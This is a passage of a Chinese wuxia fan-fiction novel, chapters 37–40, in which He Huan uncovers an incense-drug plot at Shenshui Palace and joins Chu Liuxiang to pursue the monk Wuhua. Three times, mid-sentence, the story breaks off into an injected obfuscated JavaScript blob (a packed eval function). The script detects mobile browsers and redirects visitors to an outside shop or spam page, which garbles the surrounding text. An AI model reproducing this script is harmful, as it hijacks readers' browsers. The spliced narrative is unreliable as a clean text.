招牌是弟子们自己写的,写的歪歪扭扭;因为轻功不佳没有挂在门庭,反而放在一边的花坛上。里面更是只有一条泥土小路,其余地方都难以落脚。很难相信,神水宫中竟有如此破败的庭院。这是水母阴姬留下来警醒大家的:不要脑筋一热就想着养花花草草,在地下,这种事不经过精细的计算、用出超乎常人的时间是难以成功的。 到了之后,何欢轻声呼唤,“阿芜?” 阿芜在屋子里,呜咽了两声。 “我进来了。”何欢推门而入。 “少……少宫主……”她轻声呼唤着。 等看到来人,才惨笑一声,“原来不是……是神女啊。” 何欢沉默片刻,“是我。” 她原本还有些微光的眼睛,此刻流下一滴清泪,再度变得涣散,“我早该死心的……从他、从他寄信给我说,他对我没、没有一点意思的时候,我就该知道……”她喘着粗气,“我只是……这几年、我也只见了他那么一面而已……”她看着,比何欢离开时瘦了很多,每说一句话,都用尽了力气似的。 “我只是……好苦……” “别说话了,”何欢柔声,“让我先为你把把脉。” “神女你也……也会医术吗……少宫主他也、他的医术也很好。” 何欢咬牙,他为阿芜号脉,突然被她死死抓住了手腕,“好痛苦、好痛苦,拜托、给我……我要……” 她瘦骨嶙峋的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫南燕捏着他的嘴巴,陷入思考:“而且,这说法中仍有疑点,她是怎么接触到神仙散的?又是谁给她的药?” 何欢不知道她是不是有心的,拍了拍她的手,神情无奈。 “不好意思,忘了。”她大大方方放下手,看不出有一点不好意思,好像就是故意的。 “只是你还是不要说话了,婆婆妈妈的,我听见就烦。” 没错,就是故意的。 “我只是在想,如果早些回来,当面跟她说明白,是不是就不会有这种事了。”何欢无奈,“我在你心中,究竟是什么形象。” “老好人大笨蛋。”宫南燕即刻答道。 何欢有片刻失语,“总之,她的用量很大,且短时间内亏空,应该是口服或者灼烧后吸入。考虑到受影响的弟子较多,且大家都对此毫无印象,我怀疑是混在了熏香之中。派人去她屋中找寻没见过的香料或者残存的香灰,就可以逆推出配料,也能进一步看看有没有什么草药可以减轻她的痛苦。” “此外,不要透露是我查出的……我之前不是有请一位苏医生回来吗?她人去哪了?” “她在谷外居住,开垦了一片药园,正高高兴兴养药草呢。”宫南燕撇嘴,“原来真是医生啊。” “你以为?”何欢反问她。 “我以为是你喜欢的人呢。”宫南燕道。 “……总之,将她喊来照料这些人吧。她医术高超,应当也乐意。” “那你呢?”宫南燕才听出他无意参与其中。 “她们如今对我怀疑更多,我最好不要牵涉其中。”何欢道,“我先前叮嘱外门弟子将青衣楼总瓢把子霍休送到补天池附近,交由刑室逼问,不知如今状况如何。索性穿回男装去讨个清闲。” 知道他无意离开神水宫,宫南燕也就放心了。 “不过如今,我还有几个人要接上来。”这厢忙完,何欢算算时间,红鞋子组织的那三个人应该已经快到岸附近了。 “什么人?”宫南燕好奇,“你这趟回来,与以往大不相同。” “有什么不相同,”何欢苦笑,“身高么?” 听他还有心情开玩笑,宫南燕推了他一把,“快去吧。” 何欢抬步正要离开,万秀的声音突然出现在门外,“何缨神女?” 何欢听见她的声音,心中不免一紧,“万秀掌教,有什么事吗?” “宫主请你去见她。” “现在?容禀母亲,我正……” “宫主正是为了今晚之事叫你,你要不遵宫主命令吗?” 她的语气中,透露出一股阴恻恻的狠意。 …… 水母阴姬房内,正跪着两个被捆得严严实实之人。 何欢见这两人,面露惊疑。 这两人便是红衣少女和上官飞燕,只是那青衣女尼,却不见踪影。 “三个木箱,其中有一个人在宫中弟子去打捞时,将人打晕后逃走了。” 水母阴姬威严的声音响起:“你带回来的,究竟是什么人?” “是红鞋子组织的成员。”何欢也没想到会有如今这种情况发生,“我已经封住了她们三人的武功,和感官,我不知道会……” “你的意思是,被封住了五感之人,轻而易举就能制服我神水宫的弟子吗?”水母阴姬声音中难辨喜怒。 “孩儿并无此意。”何欢单膝跪下,没有注意到上官飞燕向他投来的目光。 “那么,你承认此事是你做的不妥了?” “孩儿……”何欢沉默,他不认为自己的在这件事上有错漏。 宫南燕在他身后急急赶来,“宫主,这事不能怪何……神女,打捞箱子的弟子现已经醒转,承认是因为自己突然失力,才被那人突袭的。” “那么,她又是因何突然失力?” 站在一旁一直没有说话的万秀突然开口,“是因为神女给出的药方,影响了她的精气。” 37.第 37 章 “是因为神女给出的药方,影响了她的精气。”万秀如此说道。 “你放屁!”宫南燕猛地站起,正欲破口大骂,却被水母阴姬一道掌风送出门去。她手掌合拢,宫南燕便被关在了门外,恨恨拍打两下木门无果。水母阴姬余威犹在,任凭她和她的关系如何亲密,也不能再生事端。 水母阴姬此刻已站在何欢面前,语调低沉,“我问,是不是你的方子有问题。” “绝无可能。”何欢抬头直视她,毫无躲避、斩钉截铁。 万秀仍不紧不慢道:“神女如何解释在用过你的方子之后,大家都精神不济,有些人还甚至疯癫无状?” 何欢欲言又止——倘使他现在水母阴姬面前说出阿芜的名字,她即便痊愈,恐怕也活不成了。 万秀还在火上浇油:“此外,红鞋子组织本就恶毒,为何不将她们的手脚挑断、或者下重药再放进箱子里,偏偏只是简单绑住就送进宫来?” “他们在封闭箱子中,倘若再下重药,有窒息死亡的可能。”何欢反驳。 “难道三个罪犯的命,比我宫中弟子的命还要重要吗?” 何欢还要再辩,水母阴姬突然冷声道:“够了。” 她看向何欢,神色中难掩失望:“你有三次机会防止这种事情发生,却每次都因心软放过,最终铸成今天的后果。” “我不想罚你,你自己闭门思过去吧。等抓到那人,由你亲自动手,将她们三个一同杀了。” “母亲!”何欢还未说出他对这组织的猜测。 水母阴姬已经背过身去,不想再听。 这时,上官飞燕却突然开口。 “要我说,也不全是何缨的错,你难道就没有错吗?” 水母阴姬突然遭到宫外人的反驳,怒极生笑,“哦?从何说起?” 上官飞燕道:“明明可以派这趾高气扬气血十足的老太婆去守那什么河道,也不至于被我六姐撞晕;明明可以安排两个人甚至三个人一起守着水道口,却只派了一个人;明明可以等何缨去了再开这破箱子,偏偏没人想着她一点半点,直接就动手了,要我说,你这宫里大大小小的毛病也不少,怎么非要全怪何缨,还说什——” 她话音未落,水母阴姬已经一掌打了过来,只一击就足以要了上官飞燕的命。 上官飞燕自知死期将至,却连害怕的情绪也来不及滋生,她只微微转了转眼珠,想看向一边的何欢。不曾想,竟被何欢推开,跌坐在一旁,眼睁睁看他并未运功抵抗,硬接这一掌。 “!”上官飞燕失色。 水母阴姬也一怔。 “母亲,”何欢声音如常,不知伤势究竟,“我以为,此事疑点颇多,如今不应杀她。” 水母阴姬看着他,沉默不语。 万秀在一边高声:“大胆!何缨神女,你怎敢顶撞宫主!” “我在同母亲说话,你怎敢随意插嘴。”何欢声音终于冷硬下来,“搬弄是非、无中生有、挑拨离间,我看上官…此女说的没错,万秀掌教如今真应该去看水道,磨一磨不知从哪里来的胆子。” 万秀被他一时之间爆发的气势所摄,竟失了口舌力气。 何欢闷咳一声,端正跪姿后又道:“母亲容禀。今日回宫之后,我已查清宫中弟子发病缘由,是不知从何处流入的一种致幻成瘾性药物。此药在西域有所流通,我宫内弟子本不应接触到这种药物,源头可疑,恳请宫主再给我一定时间,必能查出根源所在。” “红鞋子组织之事牵扯众多,也请母亲稍后允与我单独商议。至于那名逃脱成员……”何欢自知此事的确错在己身,只道,“是孩儿考虑不周所致,请母亲责罚。但若要闭门思过,还望等孩儿将功补过后再去闭门自省。” “……随你吧。”这种犯倔的模样,与几年前跪在她身前请辞的人影再度重叠,只是这次,水母阴姬微不可查的叹一口气,再说不出重话。 “这些人的处置,都随你,尽快了结此事吧。” 她不再多言,离开前厅。 等水母阴姬走后,上官飞燕嗫嚅,“你怎么样……还好吗?” “比你接这一掌来的容易。”何欢苦笑,“在母亲面前驳斥她的,我再没见过第三个人,看来,你果然大胆。” “那第一个人是谁?” “……” “哦,是你?还是你哥哥?” 何欢不再搭话,他慢慢起身,转头看向万秀。 万秀如今仍能保持一副冷静模样,已是极限。水母阴姬那一掌虽未用全力,却也不是她可以抵挡的。如此便可知,何缨小小年纪,功力已经在她之上。水母阴姬是真正将她当成继承人来培养的。在此基础上,水母阴姬将她交给何缨处置,万秀便明白,自己再难全身而退。 “阿芜……是你的什么人?”何欢轻声问。 万秀难以置信的抬头,看向何欢。 “我本以为,你不喜…哥哥,是因为他违抗母亲。但我忘记,也有可能是因为你在乎的某个人,因他而痛苦。结合今日你自始至终想要遮掩那种成瘾性药物的来源……不难猜测,她是你的女儿?” “她是我的……侄女。也是我在这个世上唯一的亲人。” 何欢垂眸,片刻后道:“你行事不端,又隐瞒与宫内女弟子阿芜的关系,神水宫断不能再留你们。从明日起,你便带着她,去找谷外苏神医,倘若她同意,你们就在那儿一边治病,一边协助她处理各项事务吧。” 万秀在水母阴姬身边服侍数十年,在宫中地位也已是无出其右。说对神水宫没有留念是不可能的。然而她心知肚明,这已经是最好的结果。因此,万秀沉默少顷,拜别何欢,去寻她的侄女阿芜了。 “至于你们两个……”何欢头疼的揉揉眉心。 上官飞燕咬牙,道:“我看见六姐她目标很是明确的往一个方向去了,她应当提前就知道自己要来的是什么地方。” 何欢一怔。 “九妹!”一直未开口的红衣少女怒斥。 “七姐你还没看出来吗!她与我们根本不是同一心的,她就是为了瞒着我们进这个鬼地方来,不然她为什么跑掉的时候根本看都不看我们一眼?明明替我们割掉绳索也是顺手的事,都已经是刀俎下的鱼肉了,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235764|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道还要我为她考虑?” 上官飞燕瞪着红衣少女,她二人一时无话。 片刻后,红衣少女也道:“好吧,本来她因为何公子的事闹得太大,让大姐不愉,叮嘱她不要再生事端。她之前还老实听话。这次说要从你那里救下九妹,本来也没安排她来。但她央求大姐多日,还说有希望拉你入伙,大姐就同意下来。没想到她话说到一半,你们俩就开始打架。” 她撇了撇嘴,“我将知道的都告诉你了,希望你大人大量,从轻发落。” 何欢不置可否,只道:“多谢告知。” 他出门时,宫南燕早已绕到后面去找水母阴姬,他喊来两个弟子,让她们将上官飞燕和红衣少女带去静室。 为什么是尼姑?说到尼姑,还能想到什么? 何欢脚步一转,向女弟子的寝宫走去。 卯时过半,弟子们已经去做早课,寝宫附近再无人闲逛。 一位行色匆匆的女弟子低着头走过花丛,目标明确的向最里间一幢舍间走去。 她行至门前,向不知哪个角落望去,看到熟悉的标志,神色笃定地推开门。 进了房间,她先是屏息凝神,确定屋子里没有人在,就开始翻箱倒柜的寻找某样东西。 “你在找的,”一道熟悉的声音犹如惊雷炸响在耳边,“难道是……一种来自西域的独特香料么?” 扮成神水宫女弟子的青衣女尼惊愕回首,就见何欢推开窗,正定定望着她。 “看到满嘴谎话的假尼姑,应该第一时间想到虚情假意的真和尚,对吧。” “呵,好哇,早就听说神女聪慧过人,不想还是低估了你。”青衣女尼冷笑一声,“不过,你想要从我嘴中问话出来,是万万不能。”话音刚落,她嘴角就涌现出一丝黑血。 不必再看,也知她已经服毒自尽。 她此次前来,是抱着必死的心吗?即便这样,也要为那人收尾? “好厉害的手段……”何欢喃喃,“好毒辣的心肠。” …… “照你这么说,此子居心叵测,你真要一个人去应付他?” “不然呢?”何欢好笑,“是叫上你,还是叫上母亲?” “哼,她怎会管你我二人……不如我与你同去,给那秃驴一个厉害!” “你和她闹情绪啦?”何欢实在想不到她出江湖会惹多少血雨腥风,索性转移话题。 “还说呢!我后来才听别人说,她竟打了你一掌!” “是我替别人挡的。”何欢解释道。 宫南燕担忧:“那有什么区别!你伤的重不重?” 何欢无奈:“若真有事,现在还能好好同你讲话?” 宫南燕挑眉,“照这么说……你的武功难不成已入臻境?” 何欢摇摇头道:“怎会,不过是略有小成。” 宫南燕这下倒不担心他一人出行了,只是…… “你仍要扮作女装吗?”宫南燕不解,“事到如今,还这么听话作什么?” “并非如此,”何欢道,“只是,神水宫之仇,还是该由神女去报,不是么?” 38.第 38 章 海上生明月。半弦月悬挂在深远苍穹之上,在无云之夜投射下皎洁月光。 不知此时,海上漂泊的浪子,与异地的少女,会不会望向同一弯月亮? 海浪击打木船的声音,宛如母亲的摇篮曲,难免让船上随之摇曳的人陷入温柔幻想。 楚留香今夜在想一个人。两个月前,在同样的地方,他拿着一方手帕,望着象征离别的弯月,在想同一个人。 楚留香不知道她的来历,不知道她的样貌,甚至连她的年龄、她究竟是高是矮,是胖还是瘦都不清楚,唯一了解的,就是她的名字里,有一个“缨”字。她的一切都像云又像雾,难以捉摸、难以看清。可这不是更容易让人升起探索的兴趣吗?尤其是……她好像已将心系在某个不可能之人上。 但凡知道流水无情的人,都会想要开解她。以开玩笑的语气跟她说,不要在一棵树上吊死;温柔的劝诫她,情谊珍贵,不要播撒到荒芜的土地上,应当及时止损…… 他望着天空,想:就算她看破了我的心思,大概也只会装作不知,最后把信物又悄悄塞到哪里等我发现……想着想着,他轻笑出声。 她实在是个又聪明又可爱的女孩子。楚留香心想。如果无花知道一直跟在他身边的是个女人,他会怎么样?会不会吓得跳起来?想到这里,他就觉得有些好笑。然而笑过后,不免生出一股庆幸之感——还好,无花还不清楚女人的厉害,他应当不想也不会知道。 “这么晚了,你怎么还没睡?”一个温柔的女声自他身后响起。楚留香不必回头看,也知道是苏蓉蓉。 “你不也没睡吗?我在赏月呢。你可要一起?”楚留香笑问。 苏蓉蓉来到他身侧,轻轻靠在躺椅扶手边上。 “天朗星稀,的确是个好赏月的好日子。可连着好几天都是这样的好月亮,怎么偏偏今天在外头待这么久?除了赏月,你应当还在想些别的事情吧?” “真是什么都瞒不过你。”楚留香笑着摸了摸鼻子,“我在想一个很了不起的人。” “哦,什么人?”苏蓉蓉好似很感兴趣般问道。 “这个人你也认识。”楚留香笑道,“我一直都很钦佩他。然而近日才发现,他身上除了那些原本就显眼的优点以外,竟还很讨女人的喜欢、自己却不当回事。你说这样的一个人是不是很了不起?” 苏蓉蓉露出不解神色:“你说我也认识,又是这样的形容,莫非是想让我夸你?” 楚留香张口欲言,可这并不是能随便讲出口的话,有辱没那两人名声的嫌疑,还不如承认他说的是自己。索性笑笑,就当默认。 “好啊,咱们楚大少爷明明第二天还有事情要做,前一晚上居然不睡觉,一边看月亮,一边暗暗自恋。我同你相识这么久,才知道你还有这样的一面。” “人有千面,让人无法看透,才会好奇,有新鲜感嘛。”楚留香回应。 “不过,被你这样一提醒我才想起来,真该去睡了。不然浑浑噩噩,谁知会不会出糗呢。”他起身,正要往船舱中走,突然又想起一件事,“对了,之前那株珊瑚剩下的一些边角料,你们不是说要打几串手串吗?正好给我,我明天带去陆上打磨了。” “那就多谢我们楚公子了。” …… “做三个手串,再打一副耳坠。” 掌柜看他的眼神有点古怪,“这样好的珊瑚,不给自家夫人打一套头面么?公子,再贵价的心意,打成零散的首饰,也就没那么珍贵喽。” 明显是老人家误会,楚留香哭笑不得,“不是您想的那样……那手串是给我亲妹子的。” “哦哦。”掌柜的点点头,看了一眼珊瑚,又看了一眼楚留香,“那,给夫人就只送一对耳坠子?” “……”最后,不禁付了定金,还莫名其妙在这家店买了一套红宝石镶金的妆奁。临行前对方挤眉弄眼:“这红宝石有好事将至之意,定能让公子心想事成。” 楚留香抬头看看匾额,摇头苦笑:“真不该信商人的话,人都不知道还有没有机会再见,就莫名其妙备上首饰盒,真是白搭进去一笔钱。” 既然这样莫名其妙的钱都花了,不妨再去喝一杯酒。 当地特产的泉酒,柔和清冽,有一股淡淡的回甘。楚留香在楼上靠窗的位置自斟自酌,不经意往楼下一瞥,却正好见到一抹如月般的美丽倩影自楼下经过。 刚刚掌柜的说的话自从他脑中一闪而过。 怎会有如此巧合?还是不要再想为好,免得徒增烦恼。他摇摇头,饮罢杯中酒。 然而等店小二端着菜上来,却见刚刚还有人坐着的桌边如今已不见踪影,只余一锭银稞子,安安静静摆放在空酒杯旁边。 …… 何欢自离开神水宫后,马不停蹄向闽南行进,他一人在烈日下赶路,无需休息,只消到一个地方换一匹马就是。然而千金易得,良驹难寻。虽是赶路,何欢也不愿委屈了马。这就使得换马一事比想象中耗费了更多时间。 这日照旧让疲惫马匹在城外歇息,他自己入城来寻马贩,却听到后面有人语气中颇有几分不确定的喊道:“缨姑娘?” 奔波在外,劳碌多时,何欢差点没反应过来喊的是他。 等他转头,只见一位身穿藏青色衣服,古铜色皮肤,俊朗而陌生的青年,站在他两米开外,见他转身时惊讶的瞪大眼睛。 单看他的样貌,何欢是不认识他的,可是他身上携带香气实在特殊,再加上这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250056|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称呼……何欢原本有些紧绷的表情舒缓了一些,“香帅,好久不见。” 即便在想象之中,云纱围绕时,也没有这样端庄而俏丽的美人让人心旷神怡。楚留香稍定心神,打哈哈道:“当真是你,我还以为是我认错。” 何欢饶有兴趣问,“说来,香帅是怎么认出我的?” 楚留香笑着反问他,“那缨姑娘是怎么认出我的?” 这场景似曾相似。怎么,反问者人恒反问之?何欢抿唇乐道:“明明是我先问的香帅,不该你先回答我么?” 楚留香跨步而来,与何欢并肩,看着身边如花如玉般的少女,心中喜悦恰如被海浪击打的木船,在海中摇曳荡漾。而那抹本该早早被遗忘的暗香,也越梦而来。他暗道不妙,脸上神色却不由自主更加温柔。 “只怕我说来你要不相信……怎么,你想起什么,笑得这样开心?” 何欢摇摇头,忍住笑意:“没什么,你说吧,我肯定信你。” 楚留香隐去自己还为她打了一副耳坠一事,将他为三个妹妹打手串、却被误认为是风流公子之事娓娓道来,竟将刚刚发生的一桩小事说得起此彼伏,像话本一般,何欢闻言眉眼中笑意越发明显。 听罢,他还调侃,“这样说倒也不错,江湖中谁人不知道香帅的风流韵事?” 说话时他眼中清风朗月,看得人却不甚清明。 楚留香只觉得自己已经回到了二十不到,毛头小子一样的年纪,问他:“那你是怎么认出我的?” 何欢柔声道:“香帅,你知不知道自己身上,有一股时浓时淡,又很独特的香气?” “原来如此,缨姑娘好厉害的鼻子。”楚留香摸摸自己的鼻子道,“让我这个鼻子不太好使的人很是羡慕啊。” 看着何欢投来的疑惑目光,楚留香只道,“天生的,常有人说我身上香味过浓,我自己却闻不出来。” 怪不得……这花香……唉,罢了。 “我叫何缨。”何欢道,“这下你可算知道我的名字了。抱歉,当时我作男子打扮,不知如何与你互通姓名不显突兀。” 提起当时,就难免想起无花。未免她伤神,楚留香转移话题,“相遇相知,咱们互通过姓名,如今也算相知好友了。我见你行色匆匆,若有什么需要我帮忙的地方,你只管开口。” 初见以为是萍水相逢,不问西东,却得他赤忱相助。再见又恍若老友,豪爽许诺。不管究竟能否实现,都让何欢心头一暖。然这件事与他相交甚好的无花有关,何欢不愿让人为难,只道:“确有些事务需要忙,不过是些家庭琐事,不劳香帅费心。” 楚留香含笑,“你要办的事,我不便插手。若要赶路么……有样事情我能帮上一帮。” 39.第 39 章 “好漂亮的马。”何欢惊讶。 楚留香道:“这是我找朋友借的神驹,可日行千里。喜欢吃甜的,等你到时,有糖块给它吃就最好。” “马儿都喜欢吃甜。”何欢摸了摸马儿的鬃毛,满眼欣赏,“我会的。” 楚留香看着他专注的背影,眉目含笑。 “到时候,我要将马还到哪里呢?”何欢上马后,才想起询问楚留香。 楚留香一边替何欢牵马往官道上引,一边一本正经道:“我这朋友见了漂亮女人就不会说话。一旬之内你能赶回来的话,就到有家酒楼找我,我替你去还马。一旬之后么……你就去找有家酒楼旁边的首饰店掌柜,他是我的熟人,也知道马该还到哪里去。” 虽然今天才是初见,楚留香已经打算与这位很有经商头脑的老人交个朋友。 何欢认真记下:“好的,我知道了。此去路远,只怕一旬赶不回来。先与香帅别过。” “朋友之间,何须言谢。”楚留香心中稍有失落,面上不显,只笑道,“何缨姑娘,一路顺风。” “后会有期。” “后会有期。” 她雪白的裙摆如同在空中摇曳的花,随着马蹄声远去,又像是一阵风,忽而吹过,离开的潇洒,殊不知已掀起旁人心海波澜。 山高路远,偶尔交错便是缘起缘灭。此日一别,或许再难重逢。楚留香看着她离开的背影,缓缓收回自己的目光。 “香帅!” 楚留香正当转身,忽然听见远方马蹄疾驰而归,马上飒沓女子自一丈外立马,于逆光处抛来一件看不清模样的物什。 那人看他抬手接住,笑声爽朗,“用于中和吸收郁金花香的药包,易容时可以佩戴上。” 说完这话,清风又驾马远去。 她是什么时候备好的?她也将我的事放在心里么? “心动云缥缈……”心动时,原来真如望云一般。 他攥着手中小巧精致的药包,苦笑一声。 “香帅倘若知道如今心动的是谁,想必就不会是这样一副又缱绻又期许的样子了。”身后,穿着一身整洁衣衫,唯有不起眼处打了两个补丁的男子,摇着折扇自树后缓缓走来。 楚留香先是皱眉,看清来人模样讶异:“南宫灵?我刚刚还听丐帮的兄弟说你在招待贵客,不便见人?” “我那是不想抢你的风头,你以千金骏马赠美人,我怎能在这时候横插一脚?” “那么你如今开口,想必是认为有不妥之处?”再回想一下他刚刚的警告,楚留香讶然,“你知道她的出身?” 南宫灵叹口气,道:“此事说来话长,回去后容我细细告知于你。” …… 明明已经是入冬时节,闽南却不受什么影响。何欢只披着一件藏蓝色披风便觉足够。他牵马到少林寺山脚下,仰头往去。整座山依旧郁郁葱葱,古寺伫立在山顶,威严之感一如往昔。 “你在此处等我,我一会儿便下山来找你。”他一边将马拴在山脚马厩,一边小声叮嘱。 马儿嘶鸣一声,像是真能听懂他的话。 “乖乖,一会给你好吃的。” 寺门外,有接待的僧人照例询问:“来者何人。” 何欢正要答话,身后有一只满是金玉戒指的大手搭了上来。 他微微皱眉,正欲将此掌拂开,不曾想这只手竟传来一股菁纯内力,让他微滞一瞬。这手掌只是虚掩在他肩上,甚至还轻微向他晃动一下。 “妹子,你走得太快了,咱们让我……让我缓缓……”这人说话间还喘着气,表面上根本看不出他有功夫在身。 靠得近了,辛夷和白芷的味道隐隐散发出来,郁金香味道的确几近于无……他戴的倒是快,也不怕里面有什么有毒的药材。 何欢沉默片刻,道:“是你太慢,耽误了拜佛的时辰可怎么办。”这个瞬间,他的口音竟然变得和这人如出一辙,转头与楚留香对视时,对方那双晶亮眼眸中闪过笑意。 “好姑娘,拜佛嘛,心意到了就好,时间早晚哪有那么重要。” 接待的沙弥看见二人交头接耳,念了一声阿弥陀佛,也没敢细看。就看见两人本来已经到了寺庙门口,打情骂俏几句,那女子轻轻一扭男子的耳朵,两人拉拉扯扯又下山了。 寺庙里有同样的小沙弥探出头问:“刚刚那是什么人?怎么到了门口又走了?” 门口小沙弥老实道:“不清楚,他俩嘀咕了一会儿,就离开了。” 门里那沙弥的师父正巧过来,赏了他一个脑瓜崩:“怎么还在这里说小话?施主们的事也是可以这么大声议论的?快去挑水。” “哦……”小沙弥老老实实去挑水了。 紧接着,师父叮嘱接待的小沙弥,“之前无花师叔叮嘱的事都记清了吗。” “记清了,”小沙弥一板一眼回答,“若穿着白衣服的神水宫妖女前来,一定要谨慎迎待,与她周旋,不能让她进入寺庙。若她要硬闯,就大喊师叔师伯。” “对的。”师父叹气,“听说静云庵的青云师伯就因为和无花师叔偶有来往,就被这妖女狠心杀害。神水宫……唉,全是女人的地方果然可怕……无花师叔前段时日受苦了。” …… 何欢头痛的扶住自己的额头,喃喃道:“好歹毒的手段、好恶毒的和尚……真是寸草不生之毒啊……” “噗。”虽然事态紧急,一边的楚留香闻言还是没忍住,笑了出来。 何欢听见笑声,迷茫的望向他。 “抱歉,”楚留香正色指正他,“只是这句话好像会污蔑其余潜心修佛的僧人,何缨姑娘最好不要再说。” “你说的是。”何欢愧疚道,“是我一时失语。” 楚留香忍笑:“没事,此时天知地知,你知我知,不要让第三人知晓。” 何欢被他这样一笑吸引注意力,略带疑惑:“香帅就这样将此事告知于我,不怕我真的是他口中的妖女么?毕 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“此外,我与姑娘相交虽短,也认为你蕙质兰心,玲珑心思,不会这般行事。”楚留香又补充道。只是看何欢面上神色不动,不知他是否相信,也不知他是否介怀。 楚留香暗叹一口气,他终究还是拿无花当朋友,甫一听闻昔日友人的“真面目”,难免惆怅,失了原本的讨喜手段。如今,还是个中缘由更为要紧。他道:“我以此投诚,所以如今,何缨姑娘可否将这‘家务事’大概告知于我?” 此事原也没什么不可说的,何欢看向坦诚相告的楚留香,捡要紧事托出。 言毕,何欢再次道谢:“多谢香帅拦住我,及时将他的谋划告知,不然如今被少林寺牵扯住,还不知他又会在外逃窜多久。” 楚留香听他话中的意思,竟没有将少林武功放在眼里,一抹担忧之色自他眼底闪过。他怕何欢初出江湖,因为轻敌而吃亏。此时,他已打定主意将此事管到底。 与此同时,他道:“应该是何缨姑娘的行动过于迅速,以至于逼迫他不得不走这样一步差棋,亡羊补牢。” 何欢暗自复盘,仍是为他的心思之深而咋舌。 如果不是上官飞燕临时反水,即便那青衣女尼逃脱,神水宫众人也不会知晓她是为了藏匿那块有问题的熏香,只以为她是奋力一搏。事成之后,无花就可从中全身而退,不留一丝破绽。如果不是那药方恰巧激发了熏香药性,这件事不会这么快暴露出来,以后更难联想到此事与无花的关系。 “可他远在闽南,又是怎样迅速反应过来已经暴露,甚至仓促之间又能布置出这样一个困局的呢?”楚留香仍有一事想不通。 “可他为什么要将这事透露给你?明明越少人知道才越能确保这件事顺利进行,不生事端……”何欢也有所不解。 两人对视瞬间,想到同一个人。 “是南宫灵。” “你的那个朋友,与无花是什么关系?” 40.第 40 章 丐帮帮众遍布天下,消息灵敏。而无花又精通绘画。倘若无花一早就将何缨的模样画出,并编造出“神水宫神女疯狂求爱于他”的假话,希望南宫灵注意这样女子的行动,并在第一时间告知他,就可能使得何欢的行迹大面积暴露。 而…… “你的那个朋友,与无花是什么关系?” 楚留香摊手,“据我所知,南宫灵与无花的关系就和我同无花的关系一样。” “显而易见,这是不可能的。”何欢无奈。 楚留香道:“看来我被他们排除在交心之外了。” 何欢安慰道:“至少,还得感谢你的这位朋友,将此事说与你听。” “无花应该也想不到,南宫灵会将此事告知于我。看来,我做人不算太失败” 即使智者千虑,终有一失。 被朋友背叛之后还能笑着开玩笑的人,截止如今何欢也只见过两个。这样一想,他们两个人的性格的确相似。或许正因如此,交友时也会遇见类似情况吧。 何欢走神也不过片刻,就听见楚留香道:“我认为无花对南宫灵,所说未必全是实话。只是他两人一定有一种极为亲密的关系。才会使得南宫灵认为无花在他面前,会坦露真心。” 何欢听出他在为南宫灵开脱:“你认为,南宫灵此人本性并不坏?” 楚留香道:“我看人还是很有一套的。” 这句话在此情此景下说出来,楚留香自己都觉得没什么说服力。 然而,对面的人轻笑一声,道,“若如香帅所说,我们可以去试着感化一下这位南宫灵少侠。” 即便无法使南宫灵弃暗投明,依此人的性格,大约也会透露出一些何欢想要的情报。 既然确定要走,如今自然是越快动身越好。 楚留香之前为防止丐帮将他的消息泄露出去,表面上已经因为“受情伤”而回到船上。实则易容成一位彪形大汉,赶来闽南。如今何欢也稍作易容,成为一名三十多岁、风尘仆仆的女侠客。连马也用无害的染料染出小片不同的花色。 楚留香看到他新换的样貌,眼前一亮,“好厉害的易容功夫。” “香帅的易容同样精巧。” “这个啊,”楚留香摸了摸自己的□□,由衷夸赞,“是我妹子做给我的,她人很细心,手又巧,对此很有钻研。哦对,她的亲人还在神水宫做差。等这事尘埃落定,我要请你去见一见她,还有我另外两个妹妹,你们肯定会成为很好的朋友。” 话到嘴边,楚留香想:原来他们在更早以前就有了交集。 何欢笑道:“有机会的话,一定。” 听她答应,楚留香露出笑容,放在如今的易容之上,显得格外憨厚。 何欢忍俊不禁。 他身上好似就是有这样一股魔力,即使遇到困难麻烦,只要有他在身边,就变得轻松惬意起来。这种可靠感是不认识他的人难以想象的。 两人纵马疾驰,在两日内赶到济南。 “去他居所处等他?”何欢先问 “他在这里有多处宅院。或许,可以去丐帮本帮等他,他总要处理帮内事宜的。” 可在丐帮等人,和自投罗网有什么区别?何欢倒是有个法子能找到南宫灵。 “香帅曾经说过,自己的妹妹是神水宫的家眷,”何欢道,“所以,有些秘法同你讲,应该也没什么。只是请香帅对外界保密了。” 楚留香虽然不解,但先点头应下:“倘若你要同我说什么秘密,请说,我这人嘴巴很严,绝不会透露出去。” 楚留香只见对面人微微一笑,伸出一只手来,停在半空中。约莫一炷香的功夫,他忽然听见鸟儿扑扇翅膀的声音,紧接着,宛如乌云蔽日,大片的阴影笼罩在头顶,楚留香忍不住扭头去看,就见旷野仅有的几株枯树枝丫上,已经站满了密密麻麻的鸟雀。而正中心的何欢,如今手上停留着一只雪白的大鸟,正同他亲密对话。 片刻后,何欢挥了挥手,那只雪白的大鸟在空中盘旋一圈,随后飞离,这些鸟儿也随之一起,扑闪着翅膀离开。 